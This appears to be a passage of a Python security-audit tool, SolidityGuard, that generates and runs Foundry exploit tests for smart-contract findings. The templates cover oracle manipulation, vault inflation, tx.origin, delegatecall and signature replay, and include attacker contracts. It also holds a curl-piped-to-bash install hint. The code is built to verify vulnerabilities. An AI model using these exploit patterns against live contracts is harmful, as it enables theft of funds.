- /// @dev Requires --fork-url for mainnet state
- contract OracleManipulationExploitTest is Test {{
- address target;
- address attacker = makeAddr("attacker");
- // Replace with actual addresses from target contract
- address constant POOL = address(0);
- address constant TOKEN = address(0);
- function setUp() public {{
- // target = address(new {contract_name}());
- target = makeAddr("target");
- vm.deal(attacker, 100 ether);
- }}
- function testExploit_OracleManipulation_{contract_name}() public {{
- vm.startPrank(attacker);
- // Step 1: Record price before manipulation
- // uint256 priceBefore = IOracle(target).getPrice();
- // Step 2: Manipulate oracle (simulate flash loan impact)
- // For balanceOf-based oracles: donate tokens to inflate price
- // For AMM-based oracles: perform large swap to skew reserves
- //
- // Example — donate to inflate balanceOf price:
- // IERC20(TOKEN).transfer(target, 1_000_000e18);
- //
- // Example — flash swap to skew reserves:
- // IUniswapV2Pair(POOL).swap(largeAmount, 0, address(this), "flash");
- // Step 3: Record price after manipulation
- // uint256 priceAfter = IOracle(target).getPrice();
- // Step 4: Exploit manipulated price
- // e.g., borrow at inflated collateral value
- // ILending(target).borrow(exploitAmount);
- vm.stopPrank();
- // Verify price was manipulable
- // assertGt(priceAfter, priceBefore * 2, "VERIFIED: Price manipulated >2x");
- emit log("Oracle manipulation PoC template — fill in contract-specific logic");
- }}
- }}
- """
- def _integer_overflow_poc(finding: dict, contracts_path: str) -> str:
- """ETH-013: Integer overflow in unchecked blocks or pre-0.8.0 contracts."""
- file_rel = finding.get("file", "Contract.sol")
- contract_name = _extract_contract_name(finding, file_rel)
- return f"""{_HEADER}
- // import "{file_rel}";
- /// @notice PoC for {finding.get("id", "ETH-013")}: {finding.get("title", "Integer Overflow")}
- /// @dev File: {file_rel}:{finding.get("line", 0)}
- contract IntegerOverflowExploitTest is Test {{
- address target;
- address attacker = makeAddr("attacker");
- function setUp() public {{
- // target = address(new {contract_name}());
- target = makeAddr("target");
- }}
- function testExploit_IntegerOverflow_{contract_name}() public {{
- // Craft input that causes overflow in unchecked block
- uint256 maxVal = type(uint256).max;
- vm.prank(attacker);
- // Example: pass maxVal+1 equivalent to cause wrap-around
- // Adjust based on the actual vulnerable arithmetic operation
- //
- // For uint8 downcast: uint8(256) == 0
- // For unchecked sub: unchecked {{ 0 - 1 }} == type(uint256).max
- // For unchecked add: unchecked {{ type(uint256).max + 1 }} == 0
- // (bool success,) = target.call(
- // abi.encodeWithSignature("vulnerableFunction(uint256)", maxVal)
- // );
- // assertTrue(success, "Call should succeed despite overflow");
- emit log("Integer overflow PoC template — fill in contract-specific arithmetic");
- }}
- function testDemo_UncheckedOverflow() public pure {{
- // Demonstrates the overflow behavior
- uint256 a = type(uint256).max;
- uint256 result;
- unchecked {{
- result = a + 1;
- }}
- assertEq(result, 0, "VERIFIED: uint256 overflow wraps to 0 in unchecked");
- }}
- function testDemo_UnsafeDowncast() public pure {{
- uint256 large = 256;
- uint8 small = uint8(large);
- assertEq(small, 0, "VERIFIED: uint8 downcast of 256 truncates to 0");
- }}
- }}
- """
- def _selfdestruct_poc(finding: dict, contracts_path: str) -> str:
- """ETH-008: Unprotected selfdestruct."""
- file_rel = finding.get("file", "Contract.sol")
- contract_name = _extract_contract_name(finding, file_rel)
- return f"""{_HEADER}
- // import "{file_rel}";
- /// @notice PoC for {finding.get("id", "ETH-008")}: {finding.get("title", "selfdestruct")}
- /// @dev File: {file_rel}:{finding.get("line", 0)}
- contract SelfdestructExploitTest is Test {{
- address target;
- address owner = makeAddr("owner");
- address attacker = makeAddr("attacker");
- function setUp() public {{
- vm.prank(owner);
- // target = address(new {contract_name}());
- target = makeAddr("target");
- // Fund target
- vm.deal(target, 10 ether);
- }}
- function testExploit_Selfdestruct_{contract_name}() public {{
- uint256 targetBalBefore = target.balance;
- assertGt(targetBalBefore, 0, "Target should have funds");
- // Attacker calls selfdestruct (or kill/destroy wrapper)
- vm.prank(attacker);
- (bool success,) = target.call(
- abi.encodeWithSignature("destroy()")
- );
- // If call succeeds, selfdestruct is unprotected
- if (success) {{
- // Check if contract code is gone (post-Cancun, selfdestruct only
- // sends ETH in same-tx creation, but pre-Cancun it destroys code)
- emit log("VERIFIED: Unprotected selfdestruct callable by non-owner");
- }}
- }}
- function testExploit_ForceEther() public {{
- // Even if selfdestruct is protected, attacker can use their own
- // selfdestruct to force ETH into target, breaking balance invariants
- ForceSender forcer = new ForceSender();
- vm.deal(address(forcer), 1 ether);
- uint256 targetBalBefore = target.balance;
- forcer.forceETH(target);
- uint256 targetBalAfter = target.balance;
- assertGt(targetBalAfter, targetBalBefore, "VERIFIED: ETH forced into contract via selfdestruct");
- }}
- }}
- contract ForceSender {{
- function forceETH(address target) external {{
- selfdestruct(payable(target));
- }}
- }}
- """
- def _vault_inflation_poc(finding: dict, contracts_path: str) -> str:
- """ETH-057: First depositor / vault share inflation attack."""
- file_rel = finding.get("file", "Contract.sol")
- contract_name = _extract_contract_name(finding, file_rel)
- return f"""{_HEADER}
- // import "{file_rel}";
- /// @notice PoC for {finding.get("id", "ETH-057")}: {finding.get("title", "Vault Share Inflation")}
- /// @dev File: {file_rel}:{finding.get("line", 0)}
- contract VaultInflationExploitTest is Test {{
- address target;
- address attacker = makeAddr("attacker");
- address victim = makeAddr("victim");
- // Replace with actual token address
- // IERC20 token;
- function setUp() public {{
- // Deploy vault
- // target = address(new {contract_name}(address(token)));
- target = makeAddr("target");
- // Fund accounts
- vm.deal(attacker, 100 ether);
- vm.deal(victim, 100 ether);
- // Mint tokens to attacker and victim
- // deal(address(token), attacker, 10_000e18);
- // deal(address(token), victim, 10_000e18);
- }}
- function testExploit_VaultInflation_{contract_name}() public {{
- // Step 1: Attacker is first depositor — deposit minimal amount (1 wei)
- vm.startPrank(attacker);
- // token.approve(target, type(uint256).max);
- // IVault(target).deposit(1); // Gets 1 share
- vm.stopPrank();
- // Step 2: Attacker donates large amount directly to vault
- // This inflates the share price
- vm.prank(attacker);
- // token.transfer(target, 10_000e18 - 1); // Donate to vault
- // Step 3: Victim deposits — gets 0 shares due to rounding
- vm.startPrank(victim);
- // token.approve(target, type(uint256).max);
- // uint256 victimShares = IVault(target).deposit(5_000e18);
- vm.stopPrank();
- // uint256 victimShares = IVault(target).balanceOf(victim);
- // assertEq(victimShares, 0, "VERIFIED: Victim got 0 shares — funds stolen");
- // Step 4: Attacker withdraws everything
- // vm.prank(attacker);
- // IVault(target).withdraw(IVault(target).balanceOf(attacker));
- // uint256 attackerFinalBal = token.balanceOf(attacker);
- // emit log_named_uint("Attacker profit", attackerFinalBal);
- emit log("Vault inflation PoC template — fill in vault-specific deposit/withdraw");
- }}
- function testDemo_RoundingToZero() public pure {{
- // Demonstrates the math: shares = amount * totalSupply / totalAssets
- // After donation: totalAssets = 10_000e18, totalSupply = 1
- // Victim deposit 5000e18: shares = 5000e18 * 1 / 10_000e18 = 0
- uint256 amount = 5_000e18;
- uint256 totalSupply = 1;
- uint256 totalAssets = 10_000e18;
- uint256 shares = (amount * totalSupply) / totalAssets;
- assertEq(shares, 0, "VERIFIED: Rounding to zero — first depositor inflation");
- }}
- }}
- """
- def _tx_origin_poc(finding: dict, contracts_path: str) -> str:
- """ETH-007: tx.origin authentication bypass."""
- file_rel = finding.get("file", "Contract.sol")
- contract_name = _extract_contract_name(finding, file_rel)
- return f"""{_HEADER}
- // import "{file_rel}";
- /// @notice PoC for {finding.get("id", "ETH-007")}: {finding.get("title", "tx.origin")}
- /// @dev File: {file_rel}:{finding.get("line", 0)}
- contract TxOriginExploitTest is Test {{
- address target;
- address owner = makeAddr("owner");
- TxOriginAttacker attacker;
- function setUp() public {{
- vm.prank(owner);
- // target = address(new {contract_name}());
- target = makeAddr("target");
- attacker = new TxOriginAttacker(target);
- vm.deal(target, 10 ether);
- }}
- function testExploit_TxOrigin_{contract_name}() public {{
- // Owner is tricked into calling attacker contract
- // tx.origin = owner, but msg.sender = attacker contract
- vm.prank(owner, owner); // sets both msg.sender and tx.origin
- attacker.trick();
- emit log("VERIFIED: tx.origin bypass — attacker contract called privileged function");
- }}
- }}
- contract TxOriginAttacker {{
- address target;
- constructor(address _target) {{
- target = _target;
- }}
- function trick() external {{
- // tx.origin is still the original caller (owner)
- // but msg.sender is this contract
- (bool success,) = target.call(
- abi.encodeWithSignature("withdraw(address)", address(this))
- );
- require(success, "exploit failed");
- }}
- }}
- """
- def _delegatecall_poc(finding: dict, contracts_path: str) -> str:
- """ETH-019: Delegatecall to untrusted callee."""
- file_rel = finding.get("file", "Contract.sol")
- contract_name = _extract_contract_name(finding, file_rel)
- return f"""{_HEADER}
- // import "{file_rel}";
- /// @notice PoC for {finding.get("id", "ETH-019")}: {finding.get("title", "Delegatecall")}
- /// @dev File: {file_rel}:{finding.get("line", 0)}
- contract DelegatecallExploitTest is Test {{
- address target;
- address attacker = makeAddr("attacker");
- function setUp() public {{
- // target = address(new {contract_name}());
- target = makeAddr("target");
- vm.deal(target, 10 ether);
- }}
- function testExploit_Delegatecall_{contract_name}() public {{
- // Deploy malicious implementation that overwrites storage slot 0 (owner)
- MaliciousImpl malicious = new MaliciousImpl();
- vm.prank(attacker);
- // Call target's delegatecall function with malicious implementation
- (bool success,) = target.call(
- abi.encodeWithSignature(
- "upgradeTo(address)",
- address(malicious)
- )
- );
- if (success) {{
- emit log("VERIFIED: Delegatecall to untrusted callee accepted");
- }}
- }}
- }}
- contract MaliciousImpl {{
- // Storage slot 0 — typically 'owner' in proxy pattern
- address public owner;
- function exploit() external {{
- owner = msg.sender;
- }}
- }}
- """
- def _signature_replay_poc(finding: dict, contracts_path: str) -> str:
- """ETH-038/039: Signature malleability or replay."""
- file_rel = finding.get("file", "Contract.sol")
- contract_name = _extract_contract_name(finding, file_rel)
- return f"""{_HEADER}
- // import "{file_rel}";
- /// @notice PoC for {finding.get("id", "ETH-039")}: {finding.get("title", "Signature Replay")}
- /// @dev File: {file_rel}:{finding.get("line", 0)}
- contract SignatureReplayExploitTest is Test {{
- address target;
- uint256 signerPk = 0xA11CE;
- address signer;
- function setUp() public {{
- signer = vm.addr(signerPk);
- // target = address(new {contract_name}());
- target = makeAddr("target");
- }}
- function testExploit_SignatureReplay_{contract_name}() public {{
- // Create a valid signature
- bytes32 messageHash = keccak256(abi.encodePacked("withdraw", uint256(1 ether)));
- (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPk, messageHash);
- // First use — should succeed
- (bool success1,) = target.call(
- abi.encodeWithSignature(
- "executeWithSignature(bytes32,uint8,bytes32,bytes32)",
- messageHash, v, r, s
- )
- );
- // Replay same signature — should fail if properly protected
- (bool success2,) = target.call(
- abi.encodeWithSignature(
- "executeWithSignature(bytes32,uint8,bytes32,bytes32)",
- messageHash, v, r, s
- )
- );
- if (success1 && success2) {{
- emit log("VERIFIED: Signature replay — same signature accepted twice");
- }}
- }}
- function testExploit_SignatureMalleability() public {{
- bytes32 messageHash = keccak256(abi.encodePacked("test"));
- (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPk, messageHash);
- // Create malleable signature by flipping s
- // s' = secp256k1n - s, v' = 27+28 - v
- uint256 secp256k1n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141;
- bytes32 sMalleable = bytes32(secp256k1n - uint256(s));
- uint8 vMalleable = v == 27 ? 28 : 27;
- // Both signatures recover to the same signer
- address recovered1 = ecrecover(messageHash, v, r, s);
- address recovered2 = ecrecover(messageHash, vMalleable, r, sMalleable);
- assertEq(recovered1, recovered2, "VERIFIED: Malleable signature recovers same signer");
- }}
- }}
- """
- # ---------------------------------------------------------------------------
- # Template Selection and Helpers
- # ---------------------------------------------------------------------------
- _TEMPLATES = {
- "reentrancy": _reentrancy_poc,
- "ETH-001": _reentrancy_poc,
- "ETH-002": _reentrancy_poc,
- "ETH-003": _reentrancy_poc,
- "ETH-004": _reentrancy_poc,
- "access-control": _access_control_poc,
- "ETH-006": _access_control_poc,
- "ETH-009": _access_control_poc,
- "ETH-010": _access_control_poc,
- "ETH-011": _access_control_poc,
- "ETH-007": _tx_origin_poc,
- "oracle": _oracle_manipulation_poc,
- "ETH-024": _oracle_manipulation_poc,
- "ETH-025": _oracle_manipulation_poc,
- "arithmetic": _integer_overflow_poc,
- "ETH-013": _integer_overflow_poc,
- "ETH-015": _integer_overflow_poc,
- "ETH-008": _selfdestruct_poc,
- "defi": _vault_inflation_poc,
- "ETH-057": _vault_inflation_poc,
- "ETH-058": _vault_inflation_poc,
- "ETH-019": _delegatecall_poc,
- "ETH-030": _delegatecall_poc,
- "ETH-038": _signature_replay_poc,
- "ETH-039": _signature_replay_poc,
- }
- def _extract_func_name(finding: dict) -> str:
- """Extract function name from finding description or code snippet."""
- snippet = finding.get("code_snippet", "")
- desc = finding.get("description", "")
- combined = snippet + " " + desc
- m = re.search(r"function\s+(\w+)", combined)
- if m:
- return m.group(1)
- m = re.search(r"['\"](\w+)\(\)", combined)
- if m:
- return m.group(1)
- # Default based on category
- cat = finding.get("category", "")
- if "reentrancy" in cat:
- return "withdraw"
- if "access" in cat:
- return "setOwner"
- return "vulnerableFunction"
- def _extract_contract_name(finding: dict, file_path: str) -> str:
- """Extract contract name from file path or finding."""
- name = Path(file_path).stem
- # Sanitize for Solidity identifier
- name = re.sub(r"[^a-zA-Z0-9_]", "", name)
- if not name or not name[0].isalpha():
- name = "Target"
- return name
- def _select_template(finding: dict):
- """Select the best PoC template for a finding."""
- fid = finding.get("id", "")
- cat = finding.get("category", "")
- # Try exact ID match first
- if fid in _TEMPLATES:
- return _TEMPLATES[fid]
- # Strip tool prefix (e.g., SLITHER-reentrancy-eth -> reentrancy)
- for key in _TEMPLATES:
- if key in fid.lower() or key in cat.lower():
- return _TEMPLATES[key]
- # Category-based fallback
- desc_lower = (finding.get("description", "") + finding.get("title", "")).lower()
- if "reentran" in desc_lower:
- return _reentrancy_poc
- if "access" in desc_lower or "owner" in desc_lower or "auth" in desc_lower:
- return _access_control_poc
- if "oracle" in desc_lower or "price" in desc_lower or "flash" in desc_lower:
- return _oracle_manipulation_poc
- if "overflow" in desc_lower or "underflow" in desc_lower or "unchecked" in desc_lower:
- return _integer_overflow_poc
- if "selfdestruct" in desc_lower or "suicide" in desc_lower:
- return _selfdestruct_poc
- if "vault" in desc_lower or "share" in desc_lower or "inflation" in desc_lower:
- return _vault_inflation_poc
- if "delegatecall" in desc_lower:
- return _delegatecall_poc
- if "signature" in desc_lower or "replay" in desc_lower or "ecrecover" in desc_lower:
- return _signature_replay_poc
- if "tx.origin" in desc_lower:
- return _tx_origin_poc
- return None
- # ---------------------------------------------------------------------------
- # Core API
- # ---------------------------------------------------------------------------
- def generate_poc(finding: dict, contracts_path: str) -> Optional[str]:
- """Generate a Foundry PoC test for a finding.
- Args:
- finding: Dict with keys: id, title, severity, file, line, code_snippet,
- description, category, etc.
- contracts_path: Path to the contracts directory.
- Returns:
- Solidity test source code as a string, or None if no template matches.
- """
- template_fn = _select_template(finding)
- if template_fn is None:
- return None
- return template_fn(finding, contracts_path)
- def run_poc(test_file: str, fork_url: Optional[str] = None,
- timeout: int = 120) -> dict:
- """Run a Foundry PoC test file and return results.
- Args:
- test_file: Absolute path to the .t.sol test file.
- fork_url: Optional Ethereum RPC URL for fork-based testing.
- timeout: Max seconds to wait for forge test.
- Returns:
- Dict with keys: success (bool), output (str), gas (int|None), error (str|None)
- """
- if not shutil.which("forge"):
- return {
- "success": False,
- "output": "",
- "gas": None,
- "error": "forge not found. Install Foundry: curl -L https://foundry.paradigm.xyz | bash",
- Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
- Line 762 on GitHub
- }
- cmd = ["forge", "test", "--match-path", test_file, "-vvvv"]
- if fork_url:
- cmd.extend(["--fork-url", fork_url])
- try:
- result = subprocess.run(
- cmd, capture_output=True, text=True, timeout=timeout
- )
- output = result.stdout + "\n" + result.stderr
- success = result.returncode == 0
- # Extract gas if present
- gas = None
- gas_m = re.search(r"gas:\s*(\d+)", output)
- if gas_m:
- gas = int(gas_m.group(1))
- return {
- "success": success,
- "output": output,
- "gas": gas,
- "error": None if success else f"forge test exited with code {result.returncode}",
- }
- except subprocess.TimeoutExpired:
- return {
- "success": False,
- "output": "",
- "gas": None,
- "error": f"forge test timed out after {timeout}s",
- }
- except Exception as e:
- return {
- "success": False,
- "output": "",
- "gas": None,
- "error": str(e),
- }
- def verify_findings(findings: list, contracts_path: str,
- fork_url: Optional[str] = None,
- output_dir: Optional[str] = None,
- severity_filter: Optional[list] = None,
- max_findings: int = 20,
- dry_run: bool = False) -> list:
- """Generate and optionally run PoCs for a list of findings.
- Args:
- findings: List of finding dicts (from ScanResults.to_dict()["findings"]).
- contracts_path: Path to the contracts directory.
- fork_url: Optional Ethereum RPC URL for fork testing.
- output_dir: Directory to write .t.sol files. Defaults to tempdir.
- severity_filter: List of severity strings to include (e.g., ["CRITICAL", "HIGH"]).
- max_findings: Maximum number of findings to process.
- dry_run: If True, generate PoCs but do not execute them.
- Returns:
- List of PoCResult dicts.
- """
- if severity_filter:
- severity_filter = [s.upper() for s in severity_filter]
- findings = [f for f in findings if f.get("severity", "").upper() in severity_filter]
- # Sort by severity priority
- severity_order = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3, "INFORMATIONAL": 4}
- findings = sorted(findings, key=lambda f: severity_order.get(f.get("severity", "").upper(), 5))
- # Limit
- findings = findings[:max_findings]
- if output_dir is None:
- output_dir = tempfile.mkdtemp(prefix="solidityguard_poc_")
- os.makedirs(output_dir, exist_ok=True)
- results = []
- generated = 0
- skipped = 0
- for finding in findings:
- fid = finding.get("id", "unknown")
- poc_source = generate_poc(finding, contracts_path)
- if poc_source is None:
- results.append(PoCResult(
- finding_id=fid,
- status="SKIPPED",
- test_file="",
- test_output="",
- error=f"No PoC template for category: {finding.get('category', 'unknown')}",
- ).to_dict())
- skipped += 1
- continue
- # Write PoC file
- safe_fid = re.sub(r"[^a-zA-Z0-9_]", "_", fid)
- test_filename = f"Exploit_{safe_fid}.t.sol"
- test_path = os.path.join(output_dir, test_filename)
- with open(test_path, "w") as f:
- f.write(poc_source)
- generated += 1
- if dry_run:
- results.append(PoCResult(
- finding_id=fid,
- status="GENERATED",
- test_file=test_path,
- test_output="Dry run — test not executed",
- ).to_dict())
- continue
- # Run PoC
- run_result = run_poc(test_path, fork_url=fork_url)
- if run_result["error"] and "forge not found" in run_result["error"]:
- # Foundry not installed — skip execution for all
- results.append(PoCResult(
- finding_id=fid,
- status="GENERATED",
- test_file=test_path,
- test_output="",
- error=run_result["error"],
- ).to_dict())
- continue
- status = "VERIFIED" if run_result["success"] else "DISPROVED"
- if run_result["error"] and "timed out" in run_result["error"]:
- status = "ERROR"
- results.append(PoCResult(
- finding_id=fid,
- status=status,
- test_file=test_path,
- test_output=run_result["output"][:2000], # Truncate long output
- gas_used=run_result["gas"],
- error=run_result["error"],
- ).to_dict())
- print(f"Exploit verification: {generated} PoCs generated, {skipped} skipped")
- return results
- # ---------------------------------------------------------------------------
- # CLI
- # ---------------------------------------------------------------------------
- def main():
- parser = argparse.ArgumentParser(
- description="SolidityGuard Dynamic Exploit Verifier"
- )
- parser.add_argument("input", help="Path to scan results JSON file")
- parser.add_argument("contracts", help="Path to contracts directory")
- parser.add_argument("--fork-url", help="Ethereum RPC URL for fork testing")
- parser.add_argument("--output-dir", help="Directory for generated test files")
- parser.add_argument("--severity", default="critical,high",
- help="Comma-separated severities to verify")
- parser.add_argument("--max", type=int, default=20,
- help="Maximum findings to verify")
- parser.add_argument("--dry-run", action="store_true",
- help="Generate PoCs without running them")
- parser.add_argument("--output", "-o", help="Write results to JSON file")
- args = parser.parse_args()
- if not os.path.exists(args.input):
- print(f"Error: Input file '{args.input}' not found")
- sys.exit(1)
- if not os.path.exists(args.contracts):
- print(f"Error: Contracts path '{args.contracts}' not found")
- sys.exit(1)
- with open(args.input) as f:
- data = json.load(f)
- findings = data.get("findings", [])
- severity_filter = [s.strip().upper() for s in args.severity.split(",")]
- print("SolidityGuard Exploit Verifier v1.0.0")
- print(f"Input: {args.input} ({len(findings)} findings)")
- print(f"Contracts: {args.contracts}")
- print(f"Severity filter: {', '.join(severity_filter)}")
- if args.fork_url:
- print(f"Fork URL: {args.fork_url[:40]}...")
- print("=" * 60)
- results = verify_findings(
- findings=findings,
- contracts_path=args.contracts,
- fork_url=args.fork_url,
- output_dir=args.output_dir,
- severity_filter=severity_filter,
- max_findings=args.max,
- dry_run=args.dry_run,
- )
- # Summary
- verified = sum(1 for r in results if r["status"] == "VERIFIED")
- disproved = sum(1 for r in results if r["status"] == "DISPROVED")
- errors = sum(1 for r in results if r["status"] == "ERROR")
- skipped = sum(1 for r in results if r["status"] == "SKIPPED")
- generated = sum(1 for r in results if r["status"] == "GENERATED")
- print("\n" + "=" * 60)
- print("EXPLOIT VERIFICATION SUMMARY")
- print(f" Verified: {verified}")
- print(f" Disproved: {disproved}")
- print(f" Errors: {errors}")
- print(f" Generated: {generated} (dry run / no forge)")
- print(f" Skipped: {skipped} (no template)")
- print("=" * 60)
- for r in results:
- status_icon = {
- "VERIFIED": "[!!]",
- "DISPROVED": "[OK]",
- "ERROR": "[??]",
- "SKIPPED": "[--]",
- "GENERATED": "[>>]",
- }.get(r["status"], "[??]")
- print(f" {status_icon} {r['finding_id']}: {r['status']}")
- if r.get("test_file"):
- print(f" Test: {r['test_file']}")
- if r.get("error"):
- print(f" Error: {r['error']}")
- if args.output:
- output_data = {
- "summary": {
- "verified": verified,
- "disproved": disproved,
- "errors": errors,
- "generated": generated,
- "skipped": skipped,
- "total": len(results),
- },
- "results": results,
- }
- with open(args.output, "w") as f:
- json.dump(output_data, f, indent=2)
- print(f"\nResults written to {args.output}")
- if __name__ == "__main__":
- main()
Ratings and comments
Sign in to rate this skill.
Sign inFree to use. If it’s helped, pass it on.